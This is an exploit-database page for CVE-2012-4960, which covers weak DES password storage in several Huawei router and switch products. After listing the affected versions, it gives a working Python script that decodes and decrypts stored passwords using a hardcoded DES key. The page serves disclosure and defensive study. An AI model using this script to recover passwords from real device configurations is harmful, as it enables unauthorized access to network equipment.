Lucene search
+L

Huawei (Multiple Products) - Password Encryption

🗓️ 13 Nov 2012 00:00:00Reported by Roberto PaleariType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 71 Views

Huawei products vulnerable to weak password encryptio

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2012-4960
13 Nov 201200:00
circl
CVE
CVE-2012-4960
20 Jun 201315:00
cve
Cvelist
CVE-2012-4960
20 Jun 201315:00
cvelist
EUVD
EUVD-2012-4885
7 Oct 202500:30
euvd
Huawei
Security Advisory- Risk of Password Being Cracked Due to DES Encryption Algorithm
27 Aug 201200:00
huawei
NVD
CVE-2012-4960
20 Jun 201315:55
nvd
Prion
Design/Logic Flaw
20 Jun 201315:55
prion
CERT
Huawei networking equipment weak password cipher
5 Aug 201300:00
cert
source: https://www.securityfocus.com/bid/56510/info

Multiple Huawei products are prone to a weak password encryption weakness.

Successful exploits may allow an attacker to decrypt stored passwords; this may aid in further attacks.

The following are vulnerable:

Huawei Quidway series
Huawei CX600 V600R001
Huawei CX600 V600R003C00SPC900
Huawei ME60 V600R002C07 and prior versions
AR 19/29/49 R2207 and prior versions

from Crypto.Cipher import DES

def decode_char(c):
    if c == 'a':
        r = '?'
    else:
        r = c
    return ord(r) - ord('!')

def ascii_to_binary(s):
    assert len(s) == 24

    out = [0]*18
    i = 0
    j = 0

    for i in range(0, len(s), 4):
        y = decode_char(s[i + 0])
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 1])
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 2])
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 3])
        y = (y | k) & 0xffffff

        out[j+2] = chr(y       & 0xff)
        out[j+1] = chr((y>>8)  & 0xff)
        out[j+0] = chr((y>>16) & 0xff)

        j += 3

    return "".join(out)

def decrypt_password(p):
    r = ascii_to_binary(p)

    r = r[:16]

    d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
    r = d.decrypt(r)

    return r.rstrip("\x00")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Aug 2015 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 26.5
EPSS0.03453
71